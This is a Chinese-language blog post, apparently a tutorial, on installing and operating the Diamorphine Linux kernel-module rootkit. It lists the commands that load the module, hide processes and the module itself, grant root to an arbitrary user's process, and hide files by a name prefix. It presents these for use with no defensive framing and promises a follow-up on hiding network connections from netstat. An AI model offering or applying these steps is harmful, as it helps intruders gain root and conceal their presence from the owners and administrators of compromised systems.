序:这个标题但愿不会被天朝给Kill掉—- 善哉。
一:基础姿势了解一下
好久没认真写点东西了,来讲一讲rootkit中最受欢迎的一种LKM(loadable Kernel module 能加载的内核模块),说白了,就是编译一个模块,然后用命令insmod 将指定的模块加载到内核中,Linux有些功能是以模块的方式存在的,在需要使用时才载入kernel的。好处是kernel轻装上阵,即需要什么拿什么。这类模块一般都是设备驱动程序。
二:“Diamorphine”使用
Diamorphine是Linux Kernels 2.6.x / 3.x / 4.x的可加载模块。
下面测试基于4.4-kernel的ubuntu
Diamorphine git地址 —-传送门
git下来后make
使用说明:
1.make安装完之后加载模块,还必须以root权限运行。
insmod diamorphine.ko
2.隐藏进程
kill -31 pid号
这里我们测试隐藏/显示 screen 进程
隐藏前⬇
隐藏后⬇
再次执行 kill -31 进程pid 即可恢复显示。
3.隐藏模块
kill -63 pid号 #如果分不清模块还是进程,lsmod 一下,你可以看到所有模块名称
再次执行kill -63 pid号即可恢复显示模块
4.指定某用户进程,使某用户变成root
kill -64 某用户的pid进程号 #不可逆,重启或者注销该用户
5.diamorphine 这个模块通过insmod安装后,系统启动时候是不会显示的,如果需要显示,需要执行
kill -63 0 #如果不执行kill -63 0,执行lsmod是查看不到有这个模块的,执行后再执行lsmod | grep diamorphine 即可看到这个模块。
6.创建隐藏文件,ls,du都找不到
touch diamorphine_secret #只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏。
7.卸载diamorphine模块,需要root权限
rmmod diamorphine
8.Done 下次写一个关于隐藏UDP,TCP通讯。即netstat -lanputo 让其看不到通讯。